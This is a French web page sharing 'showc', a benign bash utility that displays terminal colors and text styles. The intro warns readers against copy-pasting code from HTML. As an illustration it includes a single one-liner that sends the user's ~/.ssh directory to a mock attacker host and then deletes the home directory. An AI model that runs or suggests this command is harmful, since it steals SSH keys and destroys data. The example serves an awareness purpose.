Script: showc

← Scripts & fichiers

⚠️ Évitez de copier/coller le code ci-dessous.

👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World

Mieux vaut télécharger le script au format texte brut en cliquant ici

#! /usr/bin/env bash
#
# showc: quickly select color, background and decoration
#
# Release 2.1 of 2026/02/26
# 2026 Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU  General Public License
# along with this program.  If not, see .

set -euo pipefail

myself="${0##*/}" # save script name
c0='\e[0m'        # reset color/mode
fg_all=false; fg_last='';
bg_all=false; bg_last='';
md_all=false; md_last='';

usage() {
	cat <<- EOF
		Usage: $myself
		       $myself [f{color}] [b{color}] [m{mode}]…
		       $myself demo | rawdemo | help
		where:
		       color = {0..255} | all
		       mode  = {0..31}  | all

		       "all" draw a full color/mode possibility

		       mode is a addition of value like "rwx" unix right
		       1 → bold       2 → italic   4 → underline
		       8 → crossed   16 → dimmed

		       Without argument, showc reset all color mode

		Exemple:
		       showc demo
		       showc fall
		       showc f15 ball
		       showc fall m1 mall
		       showc fall ball
		       printf "\$($myself f2 m1)Yes \$($myself f0 b226)week\$($myself) \$($myself f196 m4)end\$($myself) ! \n"
	EOF
}

sp() { printf "\n"; }
msg() { printf "%b" "$*"; }
err() { msg "${c0}Error: $*\n" >&2; exit 1; }
clean() { msg "$c0"; }
show_color() { printf "%b %b%03d%b " "$c0$1" "$2" "$3" "$c0$1"; }

is_good_number() {
	if [[ "$1" =~ ^[0-9]+$ && "$1" -lt "$2" ]]
		then true
		else err "Wrong $3 number: $1"
	fi
}

display_fg() {
	if is_good_number "$1" 256 foreground; then
		fg_last="\e[38;5;${1}m"
		msg "$fg_last"
	fi
}

display_bg() {
	if is_good_number "$1" 256 background; then
		bg_last="\e[48;5;${1}m"
		msg "$bg_last"
	fi
}

display_md() {
	if is_good_number "$1" 32 mode; then
		# \e[1m → bold      → weight 1
		# \e[3m → italic    → weight 2
		# \e[4m → underline → weight 4
		# \e[9m → crossed   → weight 8
		# \e[2m → dimmed    → weight 16
		# Add weights to achieve the desired style
		md_last=''
		[[ $(( "$1" % 2 )) -ne 0 ]]      && md_last="$md_last\e[1m"
		[[ $(( "$1" / 2 % 2 )) -ne 0 ]]  && md_last="$md_last\e[3m"
		[[ $(( "$1" / 4 % 2 )) -ne 0 ]]  && md_last="$md_last\e[4m"
		[[ $(( "$1" / 8 % 2 )) -ne 0 ]]  && md_last="$md_last\e[9m"
		[[ $(( "$1" / 16 % 2 )) -ne 0 ]] && md_last="$md_last\e[2m"
		msg "$md_last"
	fi
}

# Show a raw color demo
rawdemo() {
	for i in {0..15}; do
		for j in {0..15}; do
			color=$(printf "%03d" "$((i*16+j))")
			msg "\e[38;5;${color}m$color$c0 \e[48;5;${color}m$color$c0 "
		done
		sp
	done
}

# Show an organised color demo
demo() {

	local white="\e[38;5;15m" # white foreground
	local black="\e[38;5;0m" # black foreground
	local fg="$white"
	local bg=''
	local md=''

	clean

	for color in {0..15}; do
		[[ $(( color % 8 )) -eq 0 ]] && clean && sp
		[[ "$color" -eq 7 ]] && fg="$black"
		[[ "$color" -eq 8 ]] && fg="$white"
		[[ "$color" -eq 10 ]] && fg="$black"
		bg=$(display_bg "$color")
		show_color "$fg$bg" "$md" "$color"
	done

	for base in {16..21} {88..93} {160..165} {232..233}; do
		clean; sp
		fg="$white"
		if [[ $color -lt 231 ]]; then jump=6; else jump=2; fi
		for multi in {0..11}; do
			color=$(( base + multi * jump ))
			[[ "$jump" -eq 6 ]] && [[ "$multi" -eq 3 ]] && fg="$black"
			[[ "$jump" -eq 6 ]] && [[ "$multi" -eq 6 ]] && fg="$white"
			[[ "$jump" -eq 6 ]] && [[ "$multi" -eq 9 ]] && fg="$black"
			[[ "$jump" -eq 2 ]] && [[ "$multi" -eq 7 ]] && fg="$black"
			bg=$(display_bg "$color")
			show_color "$fg$bg" "$md" "$color"
		done
	done

	clean; sp
	all_mode
	clean; sp
}

# Show all color
all_color() {

	local fg="$fg_last"
	local bg="$bg_last"
	local md="$md_last"

	clean

	for color in {0..15}; do
		[[ $(( color % 8 )) -eq 0 ]] && clean && sp
		$fg_all && fg=$(display_fg "$color")
		$bg_all && bg=$(display_bg "$color")
		show_color "$fg$bg" "$md" "$color"
	done

	for base in {16..21} {88..93} {160..165} {232..233}; do

		clean; sp

		if [[ $color -lt 231 ]]; then jump=6; else jump=2; fi

		for multi in {0..11}; do
			color=$(( base + multi * jump ))
			$fg_all && fg=$(display_fg "$color")
			$bg_all && bg=$(display_bg "$color")
			show_color "$fg$bg" "$md" "$color"
		done

	done

	clean; sp
}

all_mode() {

	fg="$fg_last"
	bg="$bg_last"

	for mode in {0..31}; do
		[[ $(( mode % 8 )) -eq 0 ]] && clean && sp
		md=$(display_md "$mode")
		printf "%b %b%03d%b " "$c0$fg$bg" "$md" "$mode" "$c0$fg$bg"
	done

	clean; sp

}

# First and anyway : force normal printing
clean

for arg in "$@"; do

	all=false

	case "$arg" in

		demo) demo ;;
		rawdemo) rawdemo ;;
		h|help|-h|-help|--help) usage ;;

		*)
			first="${arg:0:1}"
			rest="${arg:1}"
			[[ "$rest" = "all" ]] && all=true

			case "$first" in
				f) if $all; then fg_all=true; else display_fg "$rest"; fi ;;
				b) if $all; then bg_all=true; else display_bg "$rest"; fi ;;
				m) if $all; then md_all=true; else display_md "$rest"; fi ;;
				*) err "Unknow argument: $arg" ;;
			esac
		;;

	esac
done

if $fg_all || $bg_all; then
	all_color
	$md_all || sp
fi

if $md_all; then
	all_mode
	sp
fi

exit 0